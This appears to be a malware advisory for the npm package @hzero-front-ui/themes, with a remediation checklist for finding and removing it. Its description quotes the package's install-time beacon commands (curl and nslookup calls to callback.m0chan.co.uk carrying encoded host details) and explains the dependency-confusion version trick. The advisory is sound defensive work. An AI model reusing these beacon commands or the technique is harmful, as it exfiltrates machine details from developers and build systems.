MAL-2026-13971 Malicious code in @hzero-front-ui/themes (npm)
Malicious package
Published
MAL-2026-13971 is a malicious package: @hzero-front-ui/themes (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-13971/ (Markdown: https://insights.sbomify.com/MAL-2026-13971/index.md)
- Package
- @hzero-front-ui/themes
- Registry
- npm
What is MAL-2026-13971?
MAL-2026-13971 is a malicious package in @hzero-front-ui/themes, published on 13 Aug 2026.
Official description
package.json defines
preinstall and install lifecycle scripts that run automatically on npm install. The scripts collect the installer's whoami, hostname, pwd, and $npm_package_name, base64-encode them, and beacon them to subdomains of callback.m0chan.co.uk via both an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/<b64>) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The scoped name @hzero-front-ui/themes combined with version 99.99.99 is the classic dependency-confusion recon shape — a high version number published to public npm to override a private-registry package of the same name and phone home from any machine that resolves it.What should I do about MAL-2026-13971?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.